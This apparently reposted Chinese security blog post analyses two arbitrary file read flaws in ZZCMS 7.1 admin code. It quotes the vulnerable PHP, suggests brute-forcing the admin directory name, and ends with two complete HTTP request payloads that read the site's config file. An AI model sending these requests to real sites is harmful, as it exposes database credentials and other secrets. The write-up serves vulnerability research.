首页 安全文摘 漏洞分析 正文

ZZCMS任意文件读取漏洞分析

关注着CNVD的漏洞通报,发现ZZCMS 7.1版本存在一个任意文件读取的漏洞通告,遂尝试复现一波。先说一下漏洞利用,权限为管理员才行在有管理员权限后,才可以利用查看日志的方式,读取到任意文件内容,关键的函数是load_file()0x00 漏洞利用条件管理员权限后台管理目录后台数据库为mysql管理员权限,emmm~相信大家已经可以通过很多方式拿到后台管理

关注着CNVD的漏洞通报,发现ZZCMS 7.1版本存在一个任意文件读取的漏洞通告,遂尝试复现一波。

先说一下漏洞利用,权限为管理员才行

在有管理员权限后,才可以利用查看日志的方式,读取到任意文件内容,关键的函数是load_file()

0x00 漏洞利用条件

  • 管理员权限

  • 后台管理目录

  • 后台数据库为mysql

管理员权限,emmm~相信大家已经可以通过很多方式拿到

后台管理目录,通过爆破admin000 到 admin999,可以找到

后台数据库类型约束,一般来讲都会使用Mysql

当然下文中有两个漏洞利用点,另一个不需要这个约束条件


0x01 出现问题的地方

问题出现在admin371\save.php 第899行附近的restore()函数

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第1张

可以看出,path参数是可控的

跟进 load_file() 函数,在admin371\save.php 文件首部

//读取文件function load_file( $path, $location = NULL ) {
    $path = str_replace( '//', '/', $path );
    if ( is_file( $path ) ) {
        return file_get_contents( $path );
    } elseif ( !is_null( $location ) ) {
        $locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
        if ( is_file( $locationpath ) ) {
            return file_get_contents( $locationpath );
        } elseif(conf('runmode')==1) {
            return false;
        }else{
            error ( '404,很抱歉您访问的页面不存在,请检查网址是否正确!',SITE_PATH);
        }
    } elseif ( is_file( SITE_DIR . $path ) ) {
        return file_get_contents( SITE_DIR . $path );
    } else {
        error( "载入文件失败,请检查文件路径!," . str_replace( DOC_PATH, '', $path ) );
        return false;
    }}

如果load_file(path)只传递path参数,那么直接通过file_get_contentss($path)返回读取文件的内容

虽然 load_file() 能够读取文件,但是并没有回显的地方,该如何解决呐?

继续跟进 db_exec() 函数

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第2张

那么针对文件中以分号+换行结尾的,认为是一条完整的SQL语句,无论执行成功与否,将会写入日志

再看str_log()函数的定义

// 日志记录function str_log( $s, $dir = 'error',$file = '' ) {
    $time = $_SERVER[ 'time' ];
    $ip = $_SERVER[ 'ip' ];
    $uid = intval( get_Session( 'adminid' ) );
    $day = date( 'Ym', $time );
    $mtime = date( 'Y-m-d H:i:s' );
    $dbtype= $_SERVER[ 'conf' ]['db'];
    Switch(    $dbtype['type']){
    case 'access':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['accessname']) . ".zzz";
        break;
        case 'mysql':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['user'].$dbtype['password']) . ".zzz";
        break;
        case 'sqlite':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['sqlitename']) . ".zzz";
        break;
        default:
        $name = md5( strtotime(date("Y-m-d"),time()).conf('adminpath')) . ".zzz";
        break;
    }
    $url = isset( $_SERVER[ 'REQUEST_URI' ] ) ? $_SERVER[ 'REQUEST_URI' ] : '';
    $logpath = empty($file) ? RUN_DIR . $dir . '/' . $name : RUN_DIR . $dir . '/' . md5($file).".zzz";
    check_dir(dirname($logpath),true);
    is_array( $s )and $s = tojson( $s );
    $s = "$mtime\t$ip\t$url\t$uid\r\n$s\r\n";
    return error_log( $s, 3, $logpath );}

其主要在于

case 'mysql':
    $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['user'].$dbtype['password']) . ".zzz";

其日志文件名是经过MD5摘要信息,暴力破解也不太实际

系统管理 -> 操作记录 可以直接看到日志文件名

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第3张

那么尝试一下构造读取网站的配置文件,发现日志文件中成功写入

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第4张

那么这里就是一个漏洞利用点了!

0x02 漏洞利用点2

在如上,我们看到了管理员可以直接读取日志文件,那么看看其针对文件路径读取是否严格过滤了呐?

直接抓包修改测试,发现居然可以直接读取任意文件

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第5张

分析一下原因呐?

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第6张

参数moudle的值就是调用渲染的模版名,位于相对路径下的./template/目录

可利用的就是log.tpl模版

ZZCMS任意文件读取漏洞分析 漏洞利用 安全文摘 漏洞分析  第7张

非常棒,这里就没有数据库类型限制了

又是一个任意文件读取的漏洞点!


0x03 攻击Payload

妈个蛋,又找到了0day,懒得提交了~

Payload1:


POST /admin371/save.php?act=restore HTTP/1.1
Host: www.test.com
Content-Length: 27
Accept: */*
Origin: http://www.test.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.test.com/admin371/?datebackuplist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:  PHPSESSID=02brlqd7surt0jjtfl2bg794u1; zzz_adminpass=0; zzz_adminpath=0; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_keys=1
Connection: close

path=/config/zzz_config.php


Payload2:


GET /admin371/?module=log&type=/config/zzz_config.php HTTP/1.1
Host: www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://www.test.com/admin371/?dbsqllist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=02brlqd7surt0jjtfl2bg794u1; UM_distinctid=16d4f4008b624-0e1822a8c30d27-3c604504-1fa400-16d4f4008b91d9; CNZZDATA1277972876=763691373-1568992660-%7C1569156959; zzz_adminpass=0; zzz_adminpath=0; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_keys=1
Connection: close


本文仅供安全学习研究用途,共勉!

文由dyboy

海报

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1523.html

相关推荐

从偶遇Flarum开始的RCE之旅

从偶遇Flarum开始的RCE之旅

事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程,请读者勿使用该漏洞进行未授权测试,否则作者不承担任何...

WEB安全 2022-08-21 0 10268

2022年蓝队初级护网总结

2022年蓝队初级护网总结

一. 设备误报如何处理? 答:来自外网的误报说明安全设备需要进行策略升级,不需要处置。如果是来自内网的误报可以和负责人协商一下...

安全文摘 2022-08-21 0 10111

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持